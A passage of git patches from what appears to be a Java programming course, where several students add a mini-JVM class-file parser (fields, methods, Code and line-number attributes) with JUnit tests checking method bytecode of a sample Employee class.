+                    "(Ljava/lang/String;I)V",
+                    "2ab7000c2a2bb5000f2a1cb50011b1");
+
+        }
+        {
+            Method m = methods.get(1);
+            assertMethodEquals(pool, m,
+                    "setName",
+                    "(Ljava/lang/String;)V",
+                    "2a2bb5000fb1");
+
+        }
+        {
+            Method m = methods.get(2);
+            assertMethodEquals(pool, m,
+                    "setAge",
+                    "(I)V",
+                    "2a1bb50011b1");
+        }
+        {
+            Method m = methods.get(3);
+            assertMethodEquals(pool, m,
+                    "sayHello",
+                    "()V",
+                    "b2001c1222b60024b1");
+
+        }
+        {
+            Method m = methods.get(4);
+            assertMethodEquals(pool, m,
+                    "main",
+                    "([Ljava/lang/String;)V",
+                    "bb000159122b101db7002d4c2bb6002fb1");
+        }
+    }
+
+    private void assertMethodEquals(ConstantPool pool, Method m, String expectedName, String expectedDesc, String expectedCode) {
+        String methodName = pool.getUTF8String(m.getNameIndex());
+        String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+        String code = m.getCodeAttr().getCode();
+        Assert.assertEquals(expectedName, methodName);
+        Assert.assertEquals(expectedDesc, methodDesc);
+        Assert.assertEquals(expectedCode, code);
+    }
+
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/test/EmployeeV1.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/test/EmployeeV1.java
new file mode 100755
index 0000000000..87e05ff033
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/test/EmployeeV1.java
@@ -0,0 +1,29 @@
+package io.github.vxzh.jvm.test;
+
+public class EmployeeV1 {
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
+    }
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/util/Util.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/util/Util.java
new file mode 100644
index 0000000000..9a659ef3eb
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/util/Util.java
@@ -0,0 +1,23 @@
+package io.github.vxzh.jvm.util;
+
+public class Util {
+    public static int byteToInt(byte[] codes) {
+        String s1 = byteToHexString(codes);
+        return Integer.valueOf(s1, 16).intValue();
+    }
+
+
+    public static String byteToHexString(byte[] codes) {
+        StringBuffer buffer = new StringBuffer();
+        for (int i = 0; i < codes.length; i++) {
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if (strHex.length() < 2) {
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+}
\ No newline at end of file

From 65070ef6414dabe3da9cdc971a79fd350387847a Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Mon, 17 Apr 2017 09:16:31 +0800
Subject: [PATCH 089/262] =?UTF-8?q?=E7=AC=AC=E4=B8=89=E6=AC=A1jvm=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

第三次jvm作业
---
 .../coderising/jvm/attr/AttributeInfo.java    | 19 +++++
 .../src/com/coderising/jvm/attr/CodeAttr.java | 85 +++++++++++++++++++
 .../coderising/jvm/attr/LineNumberTable.java  | 51 +++++++++++
 .../jvm/attr/LocalVariableItem.java           | 39 +++++++++
 .../jvm/attr/LocalVariableTable.java          | 40 +++++++++
 .../coderising/jvm/attr/StackMapTable.java    | 30 +++++++
 .../src/com/coderising/jvm/clz/ClassFile.java | 29 +++++++
 .../src/com/coderising/jvm/field/Field.java   | 45 ++++++++++
 .../jvm/loader/ByteCodeIterator.java          | 13 ++-
 .../jvm/loader/ClassFileParser.java           | 38 ++++++++-
 .../src/com/coderising/jvm/method/Method.java | 79 +++++++++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 74 ++++++++++++++++
 12 files changed, 540 insertions(+), 2 deletions(-)
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java

diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..56c3bf2b0c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,85 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+		String code = iter.nextUxToHexString(codeLen);
+		System.out.println(code);
+		CodeAttr attr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+		int expTableLen = iter.nextU2ToInt();
+		if(expTableLen > 0){
+			String expTable = iter.nextUxToHexString(expTableLen);
+			System.out.println("expTable: " + expTable);
+			// TODO 异常表处理
+		}
+		int subAttrCount = iter.nextU2ToInt();
+		ConstantPool pool = clzFile.getConstantPool();
+		for (int i = 1; i <= subAttrCount; i++) {
+			int subAttrNameIndex = iter.nextU2ToInt();
+			String subAttrName = pool.getUTF8String(subAttrNameIndex);
+			iter.back(2);
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+				attr.setLineNumberTable(LineNumberTable.parse(iter));
+			}else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
+				attr.setLocalVariableTable(LocalVariableTable.parse(iter));
+			}else if(AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+				attr.setStackMapTable(StackMapTable.parse(iter));
+			}else{
+				//TODO 
+				throw new RuntimeException("CodeAttr.parse not implement " + subAttrName);
+			}
+		}
+		return attr;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..f83202d6c3
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		LineNumberTable table = new LineNumberTable(attrNameIndex, attrLen);
+		int lineNumberTableLen = iter.nextU2ToInt();
+		for(int i=0;i<lineNumberTableLen;i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLineNum(iter.nextU2ToInt());
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..f70535a3dc
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		LocalVariableTable table = new LocalVariableTable(attrNameIndex, attrLen);
+		int localVarLen = iter.nextU2ToInt();
+		for(int i=0;i<localVarLen;i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
index 650ca8375d..64d38df4a2 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -1,7 +1,12 @@
 package com.coderising.jvm.clz;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFile {
 	
@@ -12,7 +17,25 @@ public class ClassFile {
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
 	
+	private List<Field> fields = new ArrayList<>();
+	private List<Method> methods = new ArrayList<>();
+	
 	
+	public ConstantPool getPool() {
+		return pool;
+	}
+	public void setPool(ConstantPool pool) {
+		this.pool = pool;
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	public void setMethods(List<Method> methods) {
+		this.methods = methods;
+	}
+	public void setClzIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
 	public ClassIndex getClzIndex() {
 		return clzIndex;
 	}
@@ -72,4 +95,10 @@ private String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+	public List<Field> getFields() {
+		return fields;
+	}
+	public void setFields(List<Field> fields) {
+		this.fields = fields;
+	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..01a009331c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		Field field = new Field(accessFlag, nameIndex, descriptorIndex, pool);
+		int attCount = iter.nextU2ToInt();
+		if(attCount > 0){
+			//TODO handle field attrs
+			throw new RuntimeException("Field.attr not implements");
+		}
+		return field;
+	}
+	
+	public String toString() {
+		return pool.getUTF8String(nameIndex) + ":" + pool.getUTF8String(descriptorIndex);
+	}
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 0fab88f9cb..c0c4598800 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.loader;
 
+import java.io.UnsupportedEncodingException;
+
 public class ByteCodeIterator {
 	
 	private byte[] codes;
@@ -45,7 +47,16 @@ public String nextUxToString(int len){
 		for(int i=0;i<len;i++){
 			tmp[i] = codes[pos++];
 		}
-		return new String(tmp);
+		try {
+			return new String(tmp, "UTF-8");
+		} catch (UnsupportedEncodingException e) {
+			e.printStackTrace();
+			return "";
+		}
+	}
+	
+	public void back(int len){
+		this.pos-=len;
 	}
 	
 	public static void main(String[] args) {
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
index 5099782aae..3a6258e26b 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,5 +1,8 @@
 package com.coderising.jvm.loader;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
@@ -11,6 +14,8 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFileParser {
 	
@@ -24,14 +29,38 @@ public ClassFile parse(byte[] codes) {
 		classFile.setMinorVersion(iter.nextU2ToInt());
 		classFile.setMajorVersion(iter.nextU2ToInt());
 		
-		classFile.setConstPool(parseConstantPool(iter));
+		ConstantPool pool = parseConstantPool(iter);
+		classFile.setConstPool(pool);
 		
 		classFile.setAccessFlag(parseAccessFlag(iter));
 		
 		classFile.setClassIndex(parseClassInfex(iter));
+		
+		parseInterfaces(iter);
+		
+		classFile.setFields(prarseField(iter, pool));
+		classFile.setMethods(parseMethod(iter, classFile));
 		return classFile;
 	}
 
+	private List<Method> parseMethod(ByteCodeIterator iter, ClassFile classFile) {
+		List<Method> methods = new ArrayList<>();
+		int mthodsCount = iter.nextU2ToInt();
+		for(int i=0;i<mthodsCount;i++) {
+			methods.add(Method.parse(classFile, iter));
+		}
+		return methods;
+	}
+
+	private List<Field> prarseField(ByteCodeIterator iter, ConstantPool pool) {
+		List<Field> fields = new ArrayList<>();
+		int fieldsCount = iter.nextU2ToInt();
+		for(int i=0;i<fieldsCount;i++) {
+			fields.add(Field.parse(pool, iter));
+		}
+		return fields;
+	}
+
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
 		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
 		return accessFlag;
@@ -95,4 +124,11 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 		return pool;
 	}
 	
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..8a7ce5bff5
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,79 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.attr.LineNumberTable;
+import com.coderising.jvm.attr.LocalVariableTable;
+import com.coderising.jvm.attr.StackMapTable;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+		int attrCount = iter.nextU2ToInt();
+		ConstantPool pool = clzFile.getConstantPool();
+		for (int i = 1; i <= attrCount; i++) {
+			int attrNameIndex = iter.nextU2ToInt();
+			String attrName = pool.getUTF8String(attrNameIndex);
+			iter.back(2);
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				method.setCodeAttr(CodeAttr.parse(clzFile, iter));
+			}else {
+				//TODO
+				throw new RuntimeException("Method.parse not implement " + attrName);
+			}
+		}
+		return method;
+		
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 91571b453e..fb84048026 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.test;
 
+import java.util.List;
+
 import org.junit.After;
 import  org.junit.Assert;
 import org.junit.Before;
@@ -12,7 +14,9 @@
 import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
 
 
 
@@ -197,6 +201,76 @@ public void testClassIndex(){
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
     
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
    
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
 
 }

From 3ee016d377fc726f72956d4585ada6d58d813674 Mon Sep 17 00:00:00 2001
From: "wangxg922@chinaunincom.cn" <996108220@qq.com>
Date: Mon, 17 Apr 2017 16:34:35 +0800
Subject: [PATCH 090/262] =?UTF-8?q?Signed-off-by:=20JVM=E7=AC=AC=E4=B8=89?=
 =?UTF-8?q?=E6=AC=A1<996108220@qq.com>?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/jvm/attr/AttributeInfo.java    | 19 ++++
 .../src/com/coderising/jvm/attr/CodeAttr.java | 56 +++++++++++
 .../coderising/jvm/attr/LineNumberTable.java  | 48 ++++++++++
 .../jvm/attr/LocalVariableItem.java           | 39 ++++++++
 .../jvm/attr/LocalVariableTable.java          | 37 ++++++++
 .../coderising/jvm/attr/StackMapTable.java    | 30 ++++++
 .../src/com/coderising/jvm/clz/ClassFile.java | 21 ++++-
 .../src/com/coderising/jvm/field/Field.java   | 33 +++++++
 .../jvm/loader/ByteCodeIterator.java          |  6 ++
 .../jvm/loader/ClassFileParser.java           | 74 ++++++++++++++-
 .../src/com/coderising/jvm/method/Method.java | 55 +++++++++++
 .../src/com/coding/basic/stack/InfixExpr.java | 92 +++++++++++++++++++
 .../com/coding/basic/stack/StackUtilTest.java | 19 ++++
 13 files changed, 526 insertions(+), 3 deletions(-)
 create mode 100644 group11/996108220/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/field/Field.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/method/Method.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/InfixExpr.java

diff --git a/group11/996108220/src/com/coderising/jvm/attr/AttributeInfo.java b/group11/996108220/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..89fb53394e
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java b/group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..aeb0d91f16
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;//u4
+	private int maxLocals ;//u2
+	private int codeLen ;//
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
